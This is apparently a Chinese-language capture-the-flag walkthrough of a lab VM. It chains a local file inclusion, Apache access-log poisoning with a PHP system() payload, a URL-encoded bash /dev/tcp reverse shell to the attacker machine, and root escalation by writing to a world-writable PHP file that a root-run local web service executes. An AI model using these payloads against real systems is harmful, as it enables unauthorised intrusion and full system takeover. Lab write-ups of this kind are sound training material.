nmap扫描端口 ---- 利用LFI和apache访问日志getshell ---- 利用可写的本地http服务php文件提权
靶机:192.168.101.97
攻击机:192.168.101.34
sudo nmap -sV -sC -p- 192.168.101.97
扫描到一堆端口,大部分都是兔子洞
访问http://192.168.101.97:8593/,然后点一下Book List,发现url变成http://192.168.101.97:8593/index.php?book=list
用/etc/passwd来尝试以上url是否有LFI漏洞,访问http://192.168.101.97:8593/index.php?book=../../../../etc/passwd,读取到了/etc/passwd的内容
接着由于nmap扫描出80端口是apache httpd 2.4.38,所以在网上找到apache2的访问日志可能保存的文件路径,挨个进行文件包含看看访问日志到底保存在哪里,最后发现在/var/log/apache2/access.log
(下图为访问http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log)
接下来尝试往access.log中写入payload:
用nc访问靶机的80端口
nc 192.168.101.97 80
然后发送
GET system($_GET[xiannv]); ?> HTTP/1.1
得到上图的结果后,再次访问http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log,可以看到一条GET后面内容不显示的访问日志,这就说明payload写入成功了
攻击机上nc监听8888端口
nc -nlvp 8888
接下来浏览器访问如下url,触发反弹shell:
http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log&xiannv=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%31%2e%33%34%2f%38%38%38%38%20%3c%26%31%27
其中url编码部分的内容是:
bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'
得到靶机www-data用户的反弹shell
在反弹shell中输入如下命令可以得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
查找所有拥有suid的文件和目录
find / -user root -perm /4000 2>/dev/null
发现个奇怪的目录/var/tmp/sv
进入该目录后,发现该目录下有个所有用户可读写的index.php,属主是root
可以通过写入payload并访问该站点下的index.php文件达到获取某个用户反弹shell的目的。不过首先需要确认三点:
1、/var/tmp/sv是哪个站点可以访问的目录
2、站点的启动者是什么权限
3、如何构造payload
首先,查看哪个站点可以访问/var/tmp/sv
ps -ef | grep sv
发现本地57端口上的http服务的根目录是/var/tmp/sv,并且启动者是root用户
关于php命令的参数解释可以看下图
然后执行nc -help
发现支持-e参数
于是可以在/var/tmp/sv/index.php中写入payload:
echo "" > index.php
攻击机上监听9999端口
nc -nlvp 9999
靶机上访问本地57端口
nc 127.0.0.1 57
然后访问index.php
GET /index.php HTTP/1.1
再多按一次回车
即可得到root用户的反弹shell
分别在/home/miguel和/root下找到两个flag